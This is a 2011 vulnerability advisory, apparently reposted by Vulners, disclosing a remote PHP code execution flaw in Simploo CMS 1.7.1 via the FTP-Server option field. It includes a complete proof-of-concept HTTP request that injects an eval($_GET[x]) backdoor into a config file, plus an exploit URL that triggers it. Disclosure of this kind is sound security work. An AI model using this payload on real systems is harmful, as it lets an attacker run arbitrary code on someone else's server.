Simploo CMS Community Edition - Remote PHP Code Execution Issue
Details
=============
Product: Simploo CMS Community Edition
Security-Risk: moderated
Remote-Exploit: yes
Vendor-URL: http://www.simploo.de/
Advisory-Status: published
Credits
=============
Discovered by: David Vieira-Kurz of MajorSecurity
Affected Products:
=============
Simploo CMS 1.7.1 and prior
Description
=============
"Simploo CMS is a content management system (CMS)."
More Details
=============
I have discovered some vulnerabilities in Simploo CMS, which can be
exploited by malicious people to compromise a vulnerable system.
Input passed via the "FTP-Server" field when editing FTP options is not
properly sanitised in lib/Simploo/Config/Writer/Ini.php before being
saved to the config/custom/base.ini.php file. This can be exploited to
inject and execute arbitrary PHP code via a specially crafted parameter
value. Successful exploitation requires "write" privileges.
Proof of Concept
=============
POST /simploo/index.php/sicore/updates/optionssave HTTP/1.1
Host: localhost User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de;
rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6
Accept: application/json, text/javascript, */*
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate Accept-Charset:
ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest Referer:
http://localhost/simploo/index.php/sifront/page/show/%5Bdraft%5D1
Cookie: PHPSESSID=r87k31lhqmbp9707io8r6qr2p6;
si_admin_selected=si_tree_settings_updates_options;
si_admin_open=si_tree_settings_general%2Csi_tree_settings_general_system%2Csi_tree_settings_updates%2Csi_tree_settings_bemodules%2Csi_tree_settings_contentelements
Pragma: no-cache Cache-Control: no-cache Content-Length: 105
ftpenable=&ftpserver=*%2F+eval%28%24_GET%5Bx%5D%29%3B%2F*&ftpuser=&ftppass=&ftppasv=0&ftpssl=0&ftpremote=
Exploit
=============
http://localhost/simploo/config/custom/base.ini.php?x=phpinfo%28%29;
Solution
=============
Edit the source code to ensure that input is properly sanitised.
Timeline
================
2010-07-16, vulnerability identified
2010-07-17, vendor contacted and asked for pgp key
2010-07-19, vendor sent his pgp key
2010-07-20, vulnerability sent to vendor
2011-01-18, advisory published after 6 month
Use of terms
================
Unaltered electronic reproduction of this advisory is permitted. For all
other reproduction or publication, in printing or otherwise, contact us
for permission. Use of the advisory constitutes acceptance for use in an
"as is" condition. All warranties are excluded. In no event shall
MajorSecurity be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages, even if MajorSecurity has been advised of the possibility of
such damages.Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation